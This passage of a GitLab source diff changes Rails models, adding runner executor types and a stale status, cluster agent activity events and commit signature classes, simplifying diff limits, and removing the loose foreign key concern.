- strong_memoize(:predefined_vars_in_builder_enabled) do
- Feature.enabled?(:ci_predefined_vars_in_builder, project, default_enabled: :yaml)
- end
- end
-
def authorized_cluster_agents
strong_memoize(:authorized_cluster_agents) do
::Clusters::AgentAuthorizationsFinder.new(project).execute.map(&:agent)
end
end
+ def create_deployment_in_separate_transaction?
+ strong_memoize(:create_deployment_in_separate_transaction) do
+ ::Feature.enabled?(:create_deployment_in_separate_transaction, project, default_enabled: :yaml)
+ end
+ end
+
private
def add_message(severity, content)
diff --git a/app/models/ci/project_mirror.rb b/app/models/ci/project_mirror.rb
new file mode 100644
index 00000000000..d6aaa3f50c1
--- /dev/null
+++ b/app/models/ci/project_mirror.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Ci
+ # This model represents a shadow table of the main database's projects table.
+ # It allows us to navigate the project and namespace hierarchy on the ci database.
+ class ProjectMirror < ApplicationRecord
+ belongs_to :project
+
+ class << self
+ def sync!(event)
+ upsert({ project_id: event.project_id, namespace_id: event.project.namespace_id },
+ unique_by: :project_id)
+ end
+ end
+ end
+end
diff --git a/app/models/ci/runner.rb b/app/models/ci/runner.rb
index 8a3025e5608..a80fd02080f 100644
--- a/app/models/ci/runner.rb
+++ b/app/models/ci/runner.rb
@@ -12,7 +12,6 @@ module Ci
include Gitlab::Utils::StrongMemoize
include TaggableQueries
include Presentable
- include LooseForeignKey
add_authentication_token_field :token, encrypted: :optional
@@ -27,6 +26,21 @@ module Ci
project_type: 3
}
+ enum executor_type: {
+ unknown: 0,
+ custom: 1,
+ shell: 2,
+ docker: 3,
+ docker_windows: 4,
+ docker_ssh: 5,
+ ssh: 6,
+ parallels: 7,
+ virtualbox: 8,
+ docker_machine: 9,
+ docker_ssh_machine: 10,
+ kubernetes: 11
+ }, _suffix: true
+
# This `ONLINE_CONTACT_TIMEOUT` needs to be larger than
# `RUNNER_QUEUE_EXPIRY_TIME+UPDATE_CONTACT_COLUMN_EVERY`
#
@@ -40,9 +54,12 @@ module Ci
# The `UPDATE_CONTACT_COLUMN_EVERY` defines how often the Runner DB entry can be updated
UPDATE_CONTACT_COLUMN_EVERY = (40.minutes..55.minutes).freeze
+ # The `STALE_TIMEOUT` constant defines the how far past the last contact or creation date a runner will be considered stale
+ STALE_TIMEOUT = 3.months
+
AVAILABLE_TYPES_LEGACY = %w[specific shared].freeze
AVAILABLE_TYPES = runner_types.keys.freeze
- AVAILABLE_STATUSES = %w[active paused online offline not_connected].freeze
+ AVAILABLE_STATUSES = %w[active paused online offline not_connected never_contacted stale].freeze # TODO: Remove in %15.0: active, paused, not_connected. Relevant issues: https://gitlab.com/gitlab-org/gitlab/-/issues/347303, https://gitlab.com/gitlab-org/gitlab/-/issues/347305, https://gitlab.com/gitlab-org/gitlab/-/issues/344648
AVAILABLE_SCOPES = (AVAILABLE_TYPES_LEGACY + AVAILABLE_TYPES + AVAILABLE_STATUSES).freeze
FORM_EDITABLE = %i[description tag_list active run_untagged locked access_level maximum_timeout_human_readable].freeze
@@ -58,12 +75,14 @@ module Ci
before_save :ensure_token
- scope :active, -> { where(active: true) }
- scope :paused, -> { where(active: false) }
+ scope :active, -> (value = true) { where(active: value) }
+ scope :paused, -> { active(false) }
scope :online, -> { where('contacted_at > ?', online_contact_time_deadline) }
- scope :recent, -> { where('ci_runners.created_at > :date OR ci_runners.contacted_at > :date', date: 3.months.ago) }
+ scope :recent, -> { where('ci_runners.created_at >= :date OR ci_runners.contacted_at >= :date', date: stale_deadline) }
+ scope :stale, -> { where('ci_runners.created_at < :date AND (ci_runners.contacted_at IS NULL OR ci_runners.contacted_at < :date)', date: stale_deadline) }
scope :offline, -> { where(arel_table[:contacted_at].lteq(online_contact_time_deadline)) }
- scope :not_connected, -> { where(contacted_at: nil) }
+ scope :not_connected, -> { where(contacted_at: nil) } # TODO: Remove in 15.0
+ scope :never_contacted, -> { where(contacted_at: nil) }
scope :ordered, -> { order(id: :desc) }
scope :with_recent_runner_queue, -> { where('contacted_at > ?', recent_queue_deadline) }
@@ -78,10 +97,7 @@ module Ci
scope :belonging_to_group, -> (group_id, include_ancestors: false) {
groups = ::Group.where(id: group_id)
-
- if include_ancestors
- groups = Gitlab::ObjectHierarchy.new(groups).base_and_ancestors
- end
+ groups = groups.self_and_ancestors if include_ancestors
joins(:runner_namespaces)
.where(ci_runner_namespaces: { namespace_id: groups })
@@ -102,10 +118,9 @@ module Ci
scope :belonging_to_parent_group_of_project, -> (project_id) {
project_groups = ::Group.joins(:projects).where(projects: { id: project_id })
- hierarchy_groups = Gitlab::ObjectHierarchy.new(project_groups).base_and_ancestors
joins(:groups)
- .where(namespaces: { id: hierarchy_groups })
+ .where(namespaces: { id: project_groups.self_and_ancestors.as_ids })
.allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/336433')
}
@@ -152,7 +167,7 @@ module Ci
after_destroy :cleanup_runner_queue
- cached_attr_reader :version, :revision, :platform, :architecture, :ip_address, :contacted_at
+ cached_attr_reader :version, :revision, :platform, :architecture, :ip_address, :contacted_at, :executor_type
chronic_duration_attr :maximum_timeout_human_readable, :maximum_timeout,
error_message: 'Maximum job timeout has a value which could not be accepted'
@@ -168,8 +183,6 @@ module Ci
validates :config, json_schema: { filename: 'ci_runner_config' }
- loose_foreign_key :clusters_applications_runners, :runner_id, on_delete: :async_nullify
-
# Searches for runners matching the given query.
#
# This method uses ILIKE on PostgreSQL for the description field and performs a full match on tokens.
@@ -185,6 +198,10 @@ module Ci
ONLINE_CONTACT_TIMEOUT.ago
end
+ def self.stale_deadline
+ STALE_TIMEOUT.ago
+ end
+
def self.recent_queue_deadline
# we add queue expiry + online
# - contacted_at can be updated at any time within this interval
@@ -273,8 +290,17 @@ module Ci
contacted_at && contacted_at > self.class.online_contact_time_deadline
end
- def status
- return :not_connected unless contacted_at
+ def stale?
+ return false unless created_at
+
+ [created_at, contacted_at].compact.max < self.class.stale_deadline
+ end
+
+ def status(legacy_mode = nil)
+ return deprecated_rest_status if legacy_mode == '14.5'
+
+ return :stale if stale?
+ return :never_contacted unless contacted_at
online? ? :online : :offline
end
@@ -387,8 +413,9 @@ module Ci
# database after heartbeat write happens.
#
::Gitlab::Database::LoadBalancing::Session.without_sticky_writes do
- values = values&.slice(:version, :revision, :platform, :architecture, :ip_address, :config) || {}
+ values = values&.slice(:version, :revision, :platform, :architecture, :ip_address, :config, :executor) || {}
values[:contacted_at] = Time.current
+ values[:executor_type] = EXECUTOR_NAME_TO_TYPES.fetch(values.delete(:executor), :unknown)
cache_attributes(values)
@@ -413,6 +440,20 @@ module Ci
private
+ EXECUTOR_NAME_TO_TYPES = {
+ 'custom' => :custom,
+ 'shell' => :shell,
+ 'docker' => :docker,
+ 'docker-windows' => :docker_windows,
+ 'docker-ssh' => :docker_ssh,
+ 'ssh' => :ssh,
+ 'parallels' => :parallels,
+ 'virtualbox' => :virtualbox,
+ 'docker+machine' => :docker_machine,
+ 'docker-ssh+machine' => :docker_ssh_machine,
+ 'kubernetes' => :kubernetes
+ }.freeze
+
def cleanup_runner_queue
Gitlab::Redis::SharedState.with do |redis|
redis.del(runner_queue_key)
diff --git a/app/models/ci/runner_namespace.rb b/app/models/ci/runner_namespace.rb
index 52a31863fb2..82390ccc538 100644
--- a/app/models/ci/runner_namespace.rb
+++ b/app/models/ci/runner_namespace.rb
@@ -7,7 +7,6 @@ module Ci
self.limit_name = 'ci_registered_group_runners'
self.limit_scope = :group
self.limit_relation = :recent_runners
- self.limit_feature_flag_for_override = :ci_runner_limits_override
belongs_to :runner, inverse_of: :runner_namespaces
belongs_to :namespace, inverse_of: :runner_namespaces, class_name: '::Namespace'
diff --git a/app/models/ci/runner_project.rb b/app/models/ci/runner_project.rb
index 148a29a0f8b..42c24c8c8d1 100644
--- a/app/models/ci/runner_project.rb
+++ b/app/models/ci/runner_project.rb
@@ -7,7 +7,6 @@ module Ci
self.limit_name = 'ci_registered_project_runners'
self.limit_scope = :project
self.limit_relation = :recent_runners
- self.limit_feature_flag_for_override = :ci_runner_limits_override
belongs_to :runner, inverse_of: :runner_projects
belongs_to :project, inverse_of: :runner_projects
diff --git a/app/models/ci/stage.rb b/app/models/ci/stage.rb
index e2b15497638..8c4e97ac840 100644
--- a/app/models/ci/stage.rb
+++ b/app/models/ci/stage.rb
@@ -22,6 +22,7 @@ module Ci
scope :ordered, -> { order(position: :asc) }
scope :in_pipelines, ->(pipelines) { where(pipeline: pipelines) }
scope :by_name, ->(names) { where(name: names) }
+ scope :by_position, ->(positions) { where(position: positions) }
with_options unless: :importing? do
validates :project, presence: true
diff --git a/app/models/clusters/agent.rb b/app/models/clusters/agent.rb
index cf6d95fc6df..98490a13351 100644
--- a/app/models/clusters/agent.rb
+++ b/app/models/clusters/agent.rb
@@ -4,6 +4,8 @@ module Clusters
class Agent < ApplicationRecord
self.table_name = 'cluster_agents'
+ INACTIVE_AFTER = 1.hour.freeze
+
belongs_to :created_by_user, class_name: 'User', optional: true
belongs_to :project, class_name: '::Project' # Otherwise, it will load ::Clusters::Project
@@ -16,6 +18,8 @@ module Clusters
has_many :project_authorizations, class_name: 'Clusters::Agents::ProjectAuthorization'
has_many :authorized_projects, class_name: '::Project', through: :project_authorizations, source: :project
+ has_many :activity_events, -> { in_timeline_order }, class_name: 'Clusters::Agents::ActivityEvent', inverse_of: :agent
+
scope :ordered_by_name, -> { order(:name) }
scope :with_name, -> (name) { where(name: name) }
@@ -31,5 +35,9 @@ module Clusters
def has_access_to?(requested_project)
requested_project == project
end
+
+ def active?
+ agent_tokens.where("last_used_at > ?", INACTIVE_AFTER.ago).exists?
+ end
end
end
diff --git a/app/models/clusters/agent_token.rb b/app/models/clusters/agent_token.rb
index 27a3cd8d13d..87dba50cd69 100644
--- a/app/models/clusters/agent_token.rb
+++ b/app/models/clusters/agent_token.rb
@@ -28,8 +28,12 @@ module Clusters
cache_attributes(track_values)
- # Use update_column so updated_at is skipped
- update_columns(track_values) if can_update_track_values?
+ if can_update_track_values?
+ log_activity_event!(track_values[:last_used_at]) unless agent.active?
+
+ # Use update_column so updated_at is skipped
+ update_columns(track_values)
+ end
end
private
@@ -44,5 +48,14 @@ module Clusters
real_last_used_at.nil? ||
(Time.current - real_last_used_at) >= last_used_at_max_age
end
+
+ def log_activity_event!(recorded_at)
+ agent.activity_events.create!(
+ kind: :agent_connected,
+ level: :info,
+ recorded_at: recorded_at,
+ agent_token: self
+ )
+ end
end
end
diff --git a/app/models/clusters/agents/activity_event.rb b/app/models/clusters/agents/activity_event.rb
new file mode 100644
index 00000000000..5d9c885c923
--- /dev/null
+++ b/app/models/clusters/agents/activity_event.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Clusters
+ module Agents
+ class ActivityEvent < ApplicationRecord
+ include NullifyIfBlank
+
+ self.table_name = 'agent_activity_events'
+
+ belongs_to :agent, class_name: 'Clusters::Agent', optional: false
+ belongs_to :user
+ belongs_to :agent_token, class_name: 'Clusters::AgentToken'
+
+ scope :in_timeline_order, -> { order(recorded_at: :desc, id: :desc) }
+
+ validates :recorded_at, :kind, :level, presence: true
+
+ nullify_if_blank :detail
+
+ enum kind: {
+ token_created: 0,
+ token_revoked: 1,
+ agent_connected: 2,
+ agent_disconnected: 3
+ }, _prefix: true
+
+ enum level: {
+ debug: 0,
+ info: 1,
+ warn: 2,
+ error: 3,
+ fatal: 4,
+ unknown: 5
+ }, _prefix: true
+ end
+ end
+end
diff --git a/app/models/clusters/applications/runner.rb b/app/models/clusters/applications/runner.rb
index 59a9251d6b7..b57a24dead0 100644
--- a/app/models/clusters/applications/runner.rb
+++ b/app/models/clusters/applications/runner.rb
@@ -3,7 +3,7 @@
module Clusters
module Applications
class Runner < ApplicationRecord
- VERSION = '0.34.0'
+ VERSION = '0.35.0'
self.table_name = 'clusters_applications_runners'
@@ -50,34 +50,6 @@ module Clusters
private
- def ensure_runner
- runner || create_and_assign_runner
- end
-
- def create_and_assign_runner
- transaction do
- Ci::Runner.create!(runner_create_params).tap do |runner|
- update!(runner_id: runner.id)
- end
- end
- end
-
- def runner_create_params
- attributes = {
- name: 'kubernetes-cluster',
- runner_type: cluster.cluster_type,
- tag_list: %w[kubernetes cluster]
- }
-
- if cluster.group_type?
- attributes[:runner_namespaces] = [::Ci::RunnerNamespace.new(namespace: group)]
- elsif cluster.project_type?
- attributes[:runner_projects] = [::Ci::RunnerProject.new(project: project)]
- end
-
- attributes
- end
-
def gitlab_url
Gitlab::Routing.url_helpers.root_url(only_path: false)
end
@@ -85,7 +57,6 @@ module Clusters
def specification
{
"gitlabUrl" => gitlab_url,
- "runnerToken" => ensure_runner.token,
"runners" => { "privileged" => privileged }
}
end
diff --git a/app/models/clusters/platforms/kubernetes.rb b/app/models/clusters/platforms/kubernetes.rb
index 7ec614b048c..1bd8e8b44cb 100644
--- a/app/models/clusters/platforms/kubernetes.rb
+++ b/app/models/clusters/platforms/kubernetes.rb
@@ -50,12 +50,6 @@ module Clusters
alias_attribute :ca_pem, :ca_cert
- delegate :enabled?, to: :cluster, allow_nil: true
- delegate :provided_by_user?, to: :cluster, allow_nil: true
- delegate :allow_user_defined_namespace?, to: :cluster, allow_nil: true
-
- alias_method :active?, :enabled?
-
enum_with_nil authorization_type: {
unknown_authorization: nil,
rbac: 1,
@@ -66,6 +60,19 @@ module Clusters
nullify_if_blank :namespace
+ def enabled?
+ !!cluster&.enabled?
+ end
+ alias_method :active?, :enabled?
+
+ def provided_by_user?
+ !!cluster&.provided_by_user?
+ end
+
+ def allow_user_defined_namespace?
+ !!cluster&.allow_user_defined_namespace?
+ end
+
def predefined_variables(project:, environment_name:, kubernetes_namespace: nil)
Gitlab::Ci::Variables::Collection.new.tap do |variables|
variables.append(key: 'KUBE_URL', value: api_url)
diff --git a/app/models/commit.rb b/app/models/commit.rb
index 553681ee960..f0c5f3c2d12 100644
--- a/app/models/commit.rb
+++ b/app/models/commit.rb
@@ -84,43 +84,27 @@ class Commit
sha[0..MIN_SHA_LENGTH]
end
- def diff_safe_lines(project: nil)
- diff_safe_max_lines(project: project)
+ def diff_max_files
+ Gitlab::CurrentSettings.diff_max_files
end
- def diff_max_files(project: nil)
- if Feature.enabled?(:increased_diff_limits, project)
- 3000
- elsif Feature.enabled?(:configurable_diff_limits, project)
- Gitlab::CurrentSettings.diff_max_files
- else
- 1000
- end
- end
-
- def diff_max_lines(project: nil)
- if Feature.enabled?(:increased_diff_limits, project)
- 100000
- elsif Feature.enabled?(:configurable_diff_limits, project)
- Gitlab::CurrentSettings.diff_max_lines
- else
- 50000
- end
+ def diff_max_lines
+ Gitlab::CurrentSettings.diff_max_lines
end
- def max_diff_options(project: nil)
+ def max_diff_options
{
- max_files: diff_max_files(project: project),
- max_lines: diff_max_lines(project: project)
+ max_files: diff_max_files,
+ max_lines: diff_max_lines
}
end
- def diff_safe_max_files(project: nil)
- diff_max_files(project: project) / DIFF_SAFE_LIMIT_FACTOR
+ def diff_safe_max_files
+ diff_max_files / DIFF_SAFE_LIMIT_FACTOR
end
- def diff_safe_max_lines(project: nil)
- diff_max_lines(project: project) / DIFF_SAFE_LIMIT_FACTOR
+ def diff_safe_max_lines
+ diff_max_lines / DIFF_SAFE_LIMIT_FACTOR
end
def from_hash(hash, container)
diff --git a/app/models/commit_signatures/gpg_signature.rb b/app/models/commit_signatures/gpg_signature.rb
new file mode 100644
index 00000000000..1ce76b53da4
--- /dev/null
+++ b/app/models/commit_signatures/gpg_signature.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+module CommitSignatures
+ class GpgSignature < ApplicationRecord
+ include CommitSignature
+
+ sha_attribute :gpg_key_primary_keyid
+
+ belongs_to :gpg_key
+ belongs_to :gpg_key_subkey
+
+ validates :gpg_key_primary_keyid, presence: true
+
+ def self.with_key_and_subkeys(gpg_key)
+ subkey_ids = gpg_key.subkeys.pluck(:id)
+
+ where(
+ arel_table[:gpg_key_id].eq(gpg_key.id).or(
+ arel_table[:gpg_key_subkey_id].in(subkey_ids)
+ )
+ )
+ end
+
+ def gpg_key=(model)
+ case model
+ when GpgKey
+ super
+ when GpgKeySubkey
+ self.gpg_key_subkey = model
+ when NilClass
+ super
+ self.gpg_key_subkey = nil
+ end
+ end
+
+ def gpg_key
+ if gpg_key_id
+ super
+ elsif gpg_key_subkey_id
+ gpg_key_subkey
+ end
+ end
+
+ def gpg_key_primary_keyid
+ super&.upcase
+ end
+
+ def gpg_commit
+ return unless commit
+
+ Gitlab::Gpg::Commit.new(commit)
+ end
+ end
+end
diff --git a/app/models/commit_signatures/x509_commit_signature.rb b/app/models/commit_signatures/x509_commit_signature.rb
new file mode 100644
index 00000000000..2cbb331dd7e
--- /dev/null
+++ b/app/models/commit_signatures/x509_commit_signature.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+module CommitSignatures
+ class X509CommitSignature < ApplicationRecord
+ include CommitSignature
+
+ belongs_to :x509_certificate, class_name: 'X509Certificate', foreign_key: 'x509_certificate_id', optional: false
+
+ validates :x509_certificate_id, presence: true
+
+ def x509_commit
+ return unless commit
+
+ Gitlab::X509::Commit.new(commit)
+ end
+ end
+end
diff --git a/app/models/commit_status.rb b/app/models/commit_status.rb
index d75f7984e2c..d6a2f62ca9b 100644
--- a/app/models/commit_status.rb
+++ b/app/models/commit_status.rb
@@ -53,15 +53,13 @@ class CommitStatus < Ci::ApplicationRecord
scope :before_stage, -> (index) { where('stage_idx < ?', index) }
scope :for_stage, -> (index) { where(stage_idx: index) }
scope :after_stage, -> (index) { where('stage_idx > ?', index) }
+ scope :for_project, -> (project_id) { where(project_id: project_id) }
scope :for_ref, -> (ref) { where(ref: ref) }
scope :by_name, -> (name) { where(name: name) }
scope :in_pipelines, ->(pipelines) { where(pipeline: pipelines) }
scope :with_pipeline, -> { joins(:pipeline) }
scope :updated_at_before, ->(date) { where('ci_builds.updated_at < ?', date) }
scope :created_at_before, ->(date) { where('ci_builds.created_at < ?', date) }
- scope :updated_before, ->(lookback:, timeout:) {
- where('(ci_builds.created_at BETWEEN ? AND ?) AND (ci_builds.updated_at BETWEEN ? AND ?)', lookback, timeout, lookback, timeout)
- }
scope :scheduled_at_before, ->(date) {
where('ci_builds.scheduled_at IS NOT NULL AND ci_builds.scheduled_at < ?', date)
}
@@ -71,7 +69,8 @@ class CommitStatus < Ci::ApplicationRecord
# Pluck is used to split this query. Splitting the query is required for database decomposition for `ci_*` tables.
# https://docs.gitlab.com/ee/development/database/transaction_guidelines.html#database-decomposition-and-sharding
project_ids = Project.where_full_path_in(Array(paths)).pluck(:id)
- where(project: project_ids)
+
+ for_project(project_ids)
end
scope :with_preloads, -> do
@@ -147,7 +146,7 @@ class CommitStatus < Ci::ApplicationRecord
end
event :drop do
- transition [:created, :waiting_for_resource, :preparing, :pending, :running, :scheduled] => :failed
+ transition [:created, :waiting_for_resource, :preparing, :pending, :running, :manual, :scheduled] => :failed
end
event :success do
@@ -191,7 +190,12 @@ class CommitStatus < Ci::ApplicationRecord
commit_status.run_after_commit do
PipelineProcessWorker.perform_async(pipeline_id) unless transition_options[:skip_pipeline_processing]
- ExpireJobCacheWorker.perform_async(id)
+
+ if Feature.enabled?(:expire_job_and_pipeline_cache_synchronously, project, default_enabled: :yaml)
+ expire_etag_cache!
+ else
+ ExpireJobCacheWorker.perform_async(id)
+ end
end
end
@@ -217,6 +221,10 @@ class CommitStatus < Ci::ApplicationRecord
false
end
+ def self.bulk_insert_tags!(statuses, tag_list_by_build)
+ Gitlab::Ci::Tags::BulkInsert.new(statuses, tag_list_by_build).insert!
+ end
+
def locking_enabled?
will_save_change_to_status?
end
@@ -300,6 +308,12 @@ class CommitStatus < Ci::ApplicationRecord
.update_all(retried: true, processed: true)
end
+ def expire_etag_cache!
+ job_path = Gitlab::Routing.url_helpers.project_build_path(project, id, format: :json)
+
+ Gitlab::EtagCaching::Store.new.touch(job_path)
+ end
+
private
def unrecoverable_failure?
diff --git a/app/models/concerns/after_commit_queue.rb b/app/models/concerns/after_commit_queue.rb
new file mode 100644
index 00000000000..7f525bec9e9
--- /dev/null
+++ b/app/models/concerns/after_commit_queue.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module AfterCommitQueue
+ extend ActiveSupport::Concern
+
+ included do
+ after_commit :_run_after_commit_queue
+ after_rollback :_clear_after_commit_queue
+ end
+
+ def run_after_commit(&block)
+ _after_commit_queue << block if block
+
+ true
+ end
+
+ def run_after_commit_or_now(&block)
+ if self.class.inside_transaction?
+ if connection.current_transaction.records&.include?(self)
+ run_after_commit(&block)
+ else
+ # If the current transaction does not include this record, we can run
+ # the block now, even if it queues a Sidekiq job.
+ Sidekiq::Worker.skipping_transaction_check do
+ instance_eval(&block)
+ end
+ end
+ else
+ instance_eval(&block)
+ end
+
+ true
+ end
+
+ protected
+
+ def _run_after_commit_queue
+ while action = _after_commit_queue.pop
+ self.instance_eval(&action)
+ end
+ end
+
+ def _after_commit_queue
+ @after_commit_queue ||= []
+ end
+
+ def _clear_after_commit_queue
+ _after_commit_queue.clear
+ end
+end
diff --git a/app/models/concerns/calloutable.rb b/app/models/concerns/calloutable.rb
deleted file mode 100644
index 8b9cfae6a32..00000000000
--- a/app/models/concerns/calloutable.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-module Calloutable
- extend ActiveSupport::Concern
-
- included do
- belongs_to :user
-
- validates :user, presence: true
- end
-
- def dismissed_after?(dismissed_after)
- dismissed_at > dismissed_after
- end
-end
diff --git a/app/models/concerns/ci/contextable.rb b/app/models/concerns/ci/contextable.rb
index a9589cea5e9..12ddbc2cc40 100644
--- a/app/models/concerns/ci/contextable.rb
+++ b/app/models/concerns/ci/contextable.rb
@@ -13,7 +13,6 @@ module Ci
track_duration do
variables = pipeline.variables_builder.scoped_variables(self, environment: environment, dependencies: dependencies)
- variables.concat(predefined_variables) unless pipeline.predefined_vars_in_builder_enabled?
variables.concat(project.predefined_variables)
variables.concat(pipeline.predefined_variables)
variables.concat(runner.predefined_variables) if runnable? && runner
@@ -71,24 +70,6 @@ module Ci
end
end
- def predefined_variables
- Gitlab::Ci::Variables::Collection.new.tap do |variables|
- variables.append(key: 'CI_JOB_NAME', value: name)
- variables.append(key: 'CI_JOB_STAGE', value: stage)
- variables.append(key: 'CI_JOB_MANUAL', value: 'true') if action?
- variables.append(key: 'CI_PIPELINE_TRIGGERED', value: 'true') if trigger_request
-
- variables.append(key: 'CI_NODE_INDEX', value: self.options[:instance].to_s) if self.options&.include?(:instance)
- variables.append(key: 'CI_NODE_TOTAL', value: ci_node_total_value.to_s)
-
- # legacy variables
- variables.append(key: 'CI_BUILD_NAME', value: name)
- variables.append(key: 'CI_BUILD_STAGE', value: stage)
- variables.append(key: 'CI_BUILD_TRIGGERED', value: 'true') if trigger_request
- variables.append(key: 'CI_BUILD_MANUAL', value: 'true') if action?
- end
- end
-
def kubernetes_variables
::Gitlab::Ci::Variables::Collection.new.tap do |collection|
# Should get merged with the cluster kubeconfig in deployment_variables, see
@@ -123,13 +104,5 @@ module Ci
def secret_project_variables(environment: expanded_environment_name)
project.ci_variables_for(ref: git_ref, environment: environment)
end
-
- private
-
- def ci_node_total_value
- parallel = self.options&.dig(:parallel)
- parallel = parallel.dig(:total) if parallel.is_a?(Hash)
- parallel || 1
- end
end
end
diff --git a/app/models/concerns/commit_signature.rb b/app/models/concerns/commit_signature.rb
new file mode 100644
index 00000000000..5bdfa9a2966
--- /dev/null
+++ b/app/models/concerns/commit_signature.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+module CommitSignature
+ extend ActiveSupport::Concern
+
+ included do
+ include ShaAttribute
+
+ sha_attribute :commit_sha
+
+ enum verification_status: {
+ unverified: 0,
+ verified: 1,
+ same_user_different_email: 2,
+ other_user: 3,
+ unverified_key: 4,
+ unknown_key: 5,
+ multiple_signatures: 6
+ }
+
+ belongs_to :project, class_name: 'Project', foreign_key: 'project_id', optional: false
+
+ validates :commit_sha, presence: true
+ validates :project_id, presence: true
+
+ scope :by_commit_sha, ->(shas) { where(commit_sha: shas) }
+ end
+
+ class_methods do
+ def safe_create!(attributes)
+ create_with(attributes)
+ .safe_find_or_create_by!(commit_sha: attributes[:commit_sha])
+ end
+
+ # Find commits that are lacking a signature in the database at present
+ def unsigned_commit_shas(commit_shas)
+ return [] if commit_shas.empty?
+
+ signed = by_commit_sha(commit_shas).pluck(:commit_sha)
+ commit_shas - signed
+ end
+ end
+
+ def commit
+ project.commit(commit_sha)
+ end
+
+ def user
+ commit.committer
+ end
+end
diff --git a/app/models/concerns/diff_positionable_note.rb b/app/models/concerns/diff_positionable_note.rb
index b13ca4bf06e..051158e5de5 100644
--- a/app/models/concerns/diff_positionable_note.rb
+++ b/app/models/concerns/diff_positionable_note.rb
@@ -3,7 +3,6 @@ module DiffPositionableNote
extend ActiveSupport::Concern
included do
- delegate :on_text?, :on_image?, to: :position, allow_nil: true
before_validation :set_original_position, on: :create
before_validation :update_position, on: :create, if: :on_text?, unless: :importing?
@@ -34,6 +33,14 @@ module DiffPositionableNote
end
end
+ def on_text?
+ !!position&.on_text?
+ end
+
+ def on_image?
+ !!position&.on_image?
+ end
+
def supported?
for_commit? || self.noteable.has_complete_diff_refs?
end
diff --git a/app/models/concerns/enums/ci/commit_status.rb b/app/models/concerns/enums/ci/commit_status.rb
index 1b4cc14f4a2..312b88a4d6d 100644
--- a/app/models/concerns/enums/ci/commit_status.rb
+++ b/app/models/concerns/enums/ci/commit_status.rb
@@ -28,6 +28,7 @@ module Enums
trace_size_exceeded: 19,
builds_disabled: 20,
environment_creation_failure: 21,
+ deployment_rejected: 22,
insufficient_bridge_permissions: 1_001,
downstream_bridge_project_not_found: 1_002,
invalid_bridge_trigger: 1_003,
diff --git a/app/models/concerns/import_state/sidekiq_job_tracker.rb b/app/models/concerns/import_state/sidekiq_job_tracker.rb
index b7d0ed0f51b..340bf4279bc 100644
--- a/app/models/concerns/import_state/sidekiq_job_tracker.rb
+++ b/app/models/concerns/import_state/sidekiq_job_tracker.rb
@@ -15,7 +15,7 @@ module ImportState
def refresh_jid_expiration
return unless jid
- Gitlab::SidekiqStatus.set(jid, Gitlab::Import::StuckImportJob::IMPORT_JOBS_EXPIRATION)
+ Gitlab::SidekiqStatus.set(jid, Gitlab::Import::StuckImportJob::IMPORT_JOBS_EXPIRATION, value: 2)
end
def self.jid_by(project_id:, status:)
diff --git a/app/models/concerns/incident_management/escalatable.rb b/app/models/concerns/incident_management/escalatable.rb
index 78dce63f59e..81eef50603a 100644
--- a/app/models/concerns/incident_management/escalatable.rb
+++ b/app/models/concerns/incident_management/escalatable.rb
@@ -102,3 +102,5 @@ module IncidentManagement
end
end
end
+
+::IncidentManagement::Escalatable.prepend_mod
diff --git a/app/models/concerns/issuable.rb b/app/models/concerns/issuable.rb
index 4273eb331a1..dcd80201d3f 100644
--- a/app/models/concerns/issuable.rb
+++ b/app/models/concerns/issuable.rb
@@ -43,7 +43,7 @@ module Issuable
included do
cache_markdown_field :title, pipeline: :single_line
- cache_markdown_field :description, issuable_state_filter_enabled: true
+ cache_markdown_field :description, issuable_reference_expansion_enabled: true
redact_field :description
@@ -61,6 +61,16 @@ module Issuable
# We check first if we're loaded to not load unnecessarily.
loaded? && to_a.all? { |note| note.association(:award_emoji).loaded? }
end
+
+ def projects_loaded?
+ # We check first if we're loaded to not load unnecessarily.
+ loaded? && to_a.all? { |note| note.association(:project).loaded? }
+ end
+
+ def system_note_metadata_loaded?
+ # We check first if we're loaded to not load unnecessarily.
+ loaded? && to_a.all? { |note| note.association(:system_note_metadata).loaded? }
+ end
end
has_many :note_authors, -> { distinct }, through: :notes, source: :author
@@ -183,6 +193,10 @@ module Issuable
incident?
end
+ def supports_escalation?
+ incident?
+ end
+
def incident?
is_a?(Issue) && super
end
@@ -524,6 +538,8 @@ module Issuable
includes = []
includes << :author unless notes.authors_loaded?
includes << :award_emoji unless notes.award_emojis_loaded?
+ includes << :project unless notes.projects_loaded?
+ includes << :system_note_metadata unless notes.system_note_metadata_loaded?
if includes.any?
notes.includes(includes)
diff --git a/app/models/concerns/loose_foreign_key.rb b/app/models/concerns/loose_foreign_key.rb
deleted file mode 100644
index 102292672b3..00000000000
--- a/app/models/concerns/loose_foreign_key.rb
+++ /dev/null
@@ -1,79 +0,0 @@
-# frozen_string_literal: true
-
-module LooseForeignKey
- extend ActiveSupport::Concern
-
- # This concern adds loose foreign key support to ActiveRecord models.
- # Loose foreign keys allow delayed processing of associated database records
- # with similar guarantees than a database foreign key.
- #
- # Prerequisites:
- #
- # To start using the concern, you'll need to install a database trigger to the parent
- # table in a standard DB migration (not post-migration).
- #
- # > track_record_deletions(:projects)
- #
- # Usage:
- #
- # > class Ci::Build < ApplicationRecord
- # >
- # > loose_foreign_key :security_scans, :build_id, on_delete: :async_delete
- # >
- # > # associations can be still defined, the dependent options is no longer necessary:
- # > has_many :security_scans, class_name: 'Security::Scan'
- # >
- # > end
- #
- # Options for on_delete:
- #
- # - :async_delete - deletes the children rows via an asynchronous process.
- # - :async_nullify - sets the foreign key column to null via an asynchronous process.
- #
- # How it works:
- #
- # When adding loose foreign key support to the table, a DELETE trigger is installed
- # which tracks the record deletions (stores primary key value of the deleted row) in
- # a database table.
- #
- # These deletion records are processed asynchronously and records are cleaned up
- # according to the loose foreign key definitions described in the model.
- #
- # The cleanup happens in batches, which reduces the likelyhood of statement timeouts.
- #
- # When all associations related to the deleted record are cleaned up, the record itself
- # is deleted.
- included do
- class_attribute :loose_foreign_key_definitions, default: []
- end
-
- class_methods do
- def loose_foreign_key(to_table, column, options)
- symbolized_options = options.symbolize_keys
-
- unless base_class?
- raise <<~MSG
